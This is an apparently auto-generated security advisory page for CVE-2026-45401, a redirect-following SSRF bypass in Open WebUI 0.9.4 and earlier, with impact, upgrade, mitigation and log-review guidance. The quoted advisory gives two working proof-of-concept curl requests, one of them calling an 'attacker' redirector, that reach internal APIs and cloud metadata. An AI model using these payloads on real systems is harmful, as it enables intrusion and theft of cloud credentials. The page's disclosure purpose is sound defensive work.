CVE-2026-45401: Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)
Open WebUI 0.9.4 and earlier follow HTTP redirects without checking the new target. Any logged-in user can submit a public URL that redirects to an internal address and read the response, including cloud metadata. Upgrade to 0.9.5.
Published May 14, 2026 · Updated May 28, 2026 · Analysis Nov 3, 2026
What an attacker can do
validate_url() in backend/open_webui/retrieval/web/utils.py checks only the first URL. The clients that fetch it follow 3xx redirects by default and never re-check the target against the private-IP and metadata block list (CWE-918).
The advisory lists five code paths. SafeWebBaseLoader calls its parent's _scrape() without allow_redirects=False. get_content_from_url uses requests.get(url, stream=True, timeout=30). load_url_image serves the image edit endpoint. get_image_base64_from_url runs on every /api/chat/completions request with an image_url part. The async _fetch path is already fixed at HEAD.
The chat-completion path is the easiest to reach: no admin permission and no feature flag, only a normal chat message from any authenticated user. The proof of concept posts a public redirector URL to /api/v1/retrieval/process/web, and the internal /api/config payload comes back in file.data.content.
In practice, any account can read GET responses from services the Open WebUI process can reach: IMDSv1 metadata, localhost APIs, internal databases, monitoring and Kubernetes services. Metadata credentials can lead to cloud account compromise.
Who is affected
pip package open-webui 0.9.4 and earlier, with default configuration. Any authenticated user is enough, so shared and multi-user deployments are most exposed.
pip show open-webuiRunning in Docker, read the image tag instead. Note the GitHub advisory states it is not covered by the earlier CVE-2025-65958 fix.
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.9.4
- Fixed in
- 0.9.5
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.9.5:
pip install --upgrade open-webui==0.9.5The recommended fix in the advisory sets allow_redirects=False on every client and validates each Location header hop by hop. No workaround is listed. Until you upgrade, block the Open WebUI host from reaching 169.254.169.254 and internal ranges at the network layer, and require IMDSv2 on cloud instances.
How to tell if you were hit
Look in logs for calls to /api/v1/retrieval/process/web, /api/v1/images/edit and /api/chat/completions with image_url values on domains you do not recognise or on known redirect services. On the network side, check for connections from the Open WebUI host to metadata or internal addresses that follow a request to an outside domain.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints
Summary
The validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers.
Affected code paths
The bypass exists across multiple call sites; each independently follows redirects without re-validation.
Path 1 — sync _scrape via SafeWebBaseLoader
backend/open_webui/retrieval/web/utils.py — SafeWebBaseLoader inherits from langchain_community.document_loaders.WebBaseLoader. The parent's _scrape() calls self.session.get(url, **self.requests_kwargs). requests_kwargs only sets timeout; allow_redirects=False is not passed, so requests.Session.get() follows redirects with the default allow_redirects=True. validate_url() is invoked once on the original URL only.
Path 2 — async _fetch (aiohttp)
backend/open_webui/retrieval/web/utils.py — _fetch() previously inherited the aiohttp default allow_redirects=True. As of HEAD this path is fixed (allow_redirects=False). Listed for completeness.
Path 3 — get_content_from_url (sync requests.get)
backend/open_webui/retrieval/utils.py — response = requests.get(url, stream=True, timeout=30). No allow_redirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.
Path 4 — load_url_image (image edit)
backend/open_webui/routers/images.py — image-URL fetching helper used by the image-edit endpoint. Same pattern: validate_url() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.
Path 5 — get_image_base64_from_url (chat-completion image inlining)
backend/open_webui/utils/files.py — get_image_base64_from_url() is invoked from convert_url_images_to_base64() in backend/open_webui/utils/middleware.py on every /api/chat/completions request whose message content includes an image_url part. The shared aiohttp session pool (backend/open_webui/utils/session_pool.py) does not override the aiohttp default allow_redirects=True, and the call site itself does not pass allow_redirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.
Proof of concept
Authenticated low-privilege user; default config, no admin or special permissions required.
curl -X POST https://<target>/api/v1/retrieval/process/web \
-H "Authorization: Bearer <any_user_token>" \
-H "Content-Type: application/json" \
-d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.
For the chat-completion path (Path 5), the same redirect is followed when an image_url content part points to an attacker-controlled redirector:
curl -X POST https://<target>/api/chat/completions \
-H "Authorization: Bearer <any_user_token>" \
-H "Content-Type: application/json" \
-d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'Impact
Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.
Recommended fix
For every call site that follows redirects, set allow_redirects=False on the underlying HTTP client and add a per-hop validation loop using validate_url() on each Location: header.
Credits
Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.
- tenbbughunters — first to identify SafeWebBaseLoader sync
_scrape(Path 1) - YLChen-007 — first to identify
load_url_image(Path 4) - tempcollab — first to identify aiohttp
_fetch(Path 2) - sneaXOR — first to identify
get_content_from_url(Path 3) - nayakchinmohan — first to identify
get_image_base64_from_urlin chat-completion middleware (Path 5)
Credited to tenbbughunters, YLChen-007, tempcollab, sneaXOR, Classic298, nayakchinmohan.
Questions
- How is CVE-2026-45401 different from CVE-2025-65958?
The title states the redirect-following bypass was not addressed by the earlier CVE-2025-65958 fix. validate_url checked the first URL only, so redirects to internal hosts still worked.
- Which endpoint is easiest to abuse?
The chat completion endpoint. A normal message with an image_url part triggers the fetch, with no admin permission or feature flag, according to the advisory.
- What version is fixed?
Open WebUI 0.9.5. Versions up to and including 0.9.4 are vulnerable.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
